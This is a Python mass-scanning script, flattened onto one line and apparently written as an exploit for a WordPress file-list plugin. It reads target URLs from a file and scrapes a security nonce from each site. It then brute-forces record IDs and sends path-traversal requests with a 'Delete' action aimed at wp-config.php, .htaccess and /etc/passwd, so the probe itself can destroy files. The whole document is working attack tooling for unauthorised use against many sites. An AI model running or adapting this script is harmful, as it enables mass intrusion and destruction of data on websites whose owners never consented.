#!/usr/bin/env python3 import requests import re import sys import json import threading from datetime import datetime from concurrent.futures import ThreadPoolExecutor, as_completed from urllib.parse import urljoin import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Colors RED = '\033[0;31m' GREEN = '\033[0;32m' YELLOW = '\033[1;33m' BLUE = '\033[0;34m' PURPLE = '\033[0;35m' CYAN = '\033[0;36m' NC = '\033[0m' class SimpleFileListScanner: def __init__(self, target_file, threads=10): self.target_file = target_file self.threads = threads self.vulnerable = [] self.not_vulnerable = [] self.errors = [] self.lock = threading.Lock() self.timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") self.results_dir = f"scan_results_{self.timestamp}" import os os.makedirs(self.results_dir, exist_ok=True) self.session = requests.Session() self.session.verify = False self.session.timeout = 15 self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) def get_nonce(self, target): """Get security nonce from target""" methods = [ self._get_nonce_from_file_list, self._get_nonce_from_ajax, self._get_nonce_from_page_source, self._get_nonce_from_js ] for method in methods: nonce = method(target) if nonce and len(nonce) >= 8: return nonce return None def _get_nonce_from_file_list(self, target): """Get nonce from /file-list/""" try: url = urljoin(target, '/file-list/') resp = self.session.get(url, timeout=10) match = re.search(r'eeSFL_ActionNonce">([^<]+)', resp.text) if match: return match.group(1) except: pass return None def _get_nonce_from_ajax(self, target): """Get nonce from admin-ajax""" try: url = urljoin(target, '/wp-admin/admin-ajax.php') params = { 'action': 'simplefilelist_edit_job', 'eeSFL_ID': 1 } resp = self.session.get(url, params=params, timeout=10) match = re.search(r'"eeSFL_ActionNonce":"([^"]+)"', resp.text) if match: return match.group(1) except: pass return None def _get_nonce_from_page_source(self, target): """Get nonce from page source""" try: resp = self.session.get(target, timeout=10) match = re.search(r'eeSFL_ActionNonce[^"]*"([^"]+)"', resp.text) if match: return match.group(1) except: pass return None def _get_nonce_from_js(self, target): """Get nonce from JavaScript files""" try: resp = self.session.get(target, timeout=10) js_files = re.findall(r'src="([^"]*\.js)"', resp.text) for js_file in js_files[:3]: if not js_file.startswith('http'): js_file = urljoin(target, js_file) try: js_resp = self.session.get(js_file, timeout=5) match = re.search(r'eeSFL_ActionNonce[^"]*"([^"]+)"', js_resp.text) if match: return match.group(1) except: continue except: pass return None def test_vulnerability(self, target, nonce): """Test vulnerability with ID brute force (1-25)""" test_files = [ ('../../../wp-config.php', ['SUCCESS', 'DB_NAME', 'DB_USER', 'DB_PASSWORD', 'AUTH_KEY']), ('../../../.htaccess', ['SUCCESS', 'RewriteEngine', 'Options', 'Order']), ('../../../../etc/passwd', ['root:', 'nobody:', 'daemon:']) ] for id_num in range(1, 26): for filename, indicators in test_files: try: url = urljoin(target, '/wp-admin/admin-ajax.php') data = { 'action': 'simplefilelist_edit_job', 'eeSecurity': nonce, 'eeSFL_ID': str(id_num), 'eeFileAction': 'Delete', 'eeFileName': filename } resp = self.session.post(url, data=data, timeout=10) # Check for indicators for indicator in indicators: if indicator in resp.text: return True, id_num, filename, indicator except Exception as e: continue return False, None, None, None def scan_target(self, target, index): """Scan single target""" target = target.strip().rstrip('/') with self.lock: print(f"[{index}] Scanning: {target}") # Get nonce nonce = self.get_nonce(target) if not nonce: with self.lock: print(f" {RED}[!] Failed to get nonce{NC}") self.errors.append({'target': target, 'reason': 'No nonce found'}) return with self.lock: print(f" {GREEN}[+] Nonce: {nonce}{NC}") print(f" {CYAN}[*] Brute forcing eeSFL_ID 1-25...{NC}") # Test vulnerability is_vulnerable, id_num, filename, indicator = self.test_vulnerability(target, nonce) if is_vulnerable: with self.lock: print(f" {RED}[!] VULNERABLE!{NC}") print(f" {RED}[!] ID: {id_num} | File: {filename} | Indicator: {indicator}{NC}") self.vulnerable.append({ 'target': target, 'nonce': nonce, 'id': id_num, 'file': filename, 'indicator': indicator }) else: with self.lock: print(f" {GREEN}[+] Not vulnerable (no working ID found){NC}") self.not_vulnerable.append(target) def save_results(self): """Save scan results""" # Save vulnerable with open(f"{self.results_dir}/vulnerable.txt", 'w') as f: for item in self.vulnerable: f.write(f"{item['target']} | Nonce: {item['nonce']} | ID: {item['id']} | File: {item['file']} | {item['indicator']}\n") # Save not vulnerable with open(f"{self.results_dir}/not_vulnerable.txt", 'w') as f: for target in self.not_vulnerable: f.write(f"{target}\n") # Save errors with open(f"{self.results_dir}/errors.txt", 'w') as f: for item in self.errors: f.write(f"{item['target']} | {item['reason']}\n") # Save JSON summary summary = { 'timestamp': self.timestamp, 'total': len(self.vulnerable) + len(self.not_vulnerable) + len(self.errors), 'vulnerable': len(self.vulnerable), 'not_vulnerable': len(self.not_vulnerable), 'errors': len(self.errors), 'vulnerable_targets': self.vulnerable } with open(f"{self.results_dir}/summary.json", 'w') as f: json.dump(summary, f, indent=2) def run(self): """Run the scanner""" print(f"{BLUE}[*] Starting mass scan with {self.threads} threads...{NC}") print(f"{BLUE}[*] Created By Poloss{NC}\n") # Read targets try: with open(self.target_file, 'r') as f: targets = [line.strip() for line in f if line.strip() and not line.startswith('#')] except FileNotFoundError: print(f"{RED}[!] File not found: {self.target_file}{NC}") sys.exit(1) print(f"{BLUE}[*] Loaded {len(targets)} targets{NC}\n") # Scan with threading with ThreadPoolExecutor(max_workers=self.threads) as executor: futures = {} for idx, target in enumerate(targets, 1): future = executor.submit(self.scan_target, target, idx) futures[future] = target for future in as_completed(futures): pass # Save results self.save_results() # Print summary print(f"\n{PURPLE}═══════════════════════════════════════════════════════════════{NC}") print(f"{PURPLE}[*] SCAN COMPLETED!{NC}") print(f"{PURPLE}[*] Total targets scanned: {len(targets)}{NC}") print(f"{RED}[!] Vulnerable found: {len(self.vulnerable)}{NC}") print(f"{GREEN}[+] Not vulnerable: {len(self.not_vulnerable)}{NC}") print(f"{YELLOW}[*] Failed/Errors: {len(self.errors)}{NC}") print(f"{PURPLE}[*] Results saved in: {self.results_dir}{NC}") print(f"{PURPLE}═══════════════════════════════════════════════════════════════{NC}") # Show vulnerable targets if self.vulnerable: print(f"\n{RED}[!] VULNERABLE TARGETS:{NC}") print(f"{RED}═══════════════════════════════════════════════════════════════{NC}") for item in self.vulnerable: print(f" {item['target']} | ID: {item['id']} | File: {item['file']}") print(f"{RED}═══════════════════════════════════════════════════════════════{NC}") def main(): if len(sys.argv) < 2: print(f"{RED}[!] Usage: python3 mass_scan.py targets.txt [threads]{NC}") print(f"{YELLOW}[*] Example: python3 mass_scan.py targets.txt 20{NC}") sys.exit(1) target_file = sys.argv[1] threads = int(sys.argv[2]) if len(sys.argv) > 2 else 10 scanner = SimpleFileListScanner(target_file, threads) scanner.run() if __name__ == "__main__": main()